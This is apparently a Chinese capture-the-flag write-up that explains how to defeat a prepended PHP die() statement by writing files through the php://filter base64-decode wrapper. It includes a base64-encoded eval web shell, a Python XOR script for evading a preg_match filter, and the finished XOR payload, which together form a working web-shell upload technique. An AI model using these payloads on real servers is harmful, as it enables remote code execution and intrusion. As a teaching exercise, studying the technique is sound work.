绕过<?php die();?>
,preg_match
大概意思是传文件名和文件内容,但是两个参数都要经过waf函数过滤,并且文件内容开头加了<?php die();?>
,它的意思是直接结束了php语句的执行,相当与exit()退出执行函数,故导致写入php文件的函数无法执行所以我们需要让
<?php die()?>
不能执行,故可以使用php伪协议写入文件,
利用php://filter/convert.base64-decode/resource=5.php
写入文件,
$contents
=<?php @eval($_POST['123']);?>
的内容使用base64加密
$contents=PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=
,
因为base64解密为4字节为一组,并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉,故<?php die()>
会变成phpdie
,因此需在后面加两个字节变成8个字节,
所以payload为$contents=aaPD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=
前面提到preg_match过滤了相关字符,我们可以使用异或绕过
char = "!@#$%^&*()_+|}{][\-=<>?/.,';qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM1234567890"
cmd = 'php://filter/convert.base64-decode/resource=5.php'
tmp1,tmp2 = '',''
for res in cmd:
for i in char:
for j in char:
if(ord(i)^ord(j) == ord(res)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1,tmp2)
得到file的payload并用尖括号连接
(!!!@@@!!!!!!@!!!!!!!@!!!!@@@!!!!!!@!!!!!!!!@@@!!! )^(QIQzooGHMUDSoBNOWDSUnC@RDvtmEDBNEDoSDRNTSBD}unQIQ)
访问5.php,连接shell得到flag
还可以使用rot13编码等,这里推荐一下
https://blog.csdn.net/woshilnp/article/details/117266628
的文章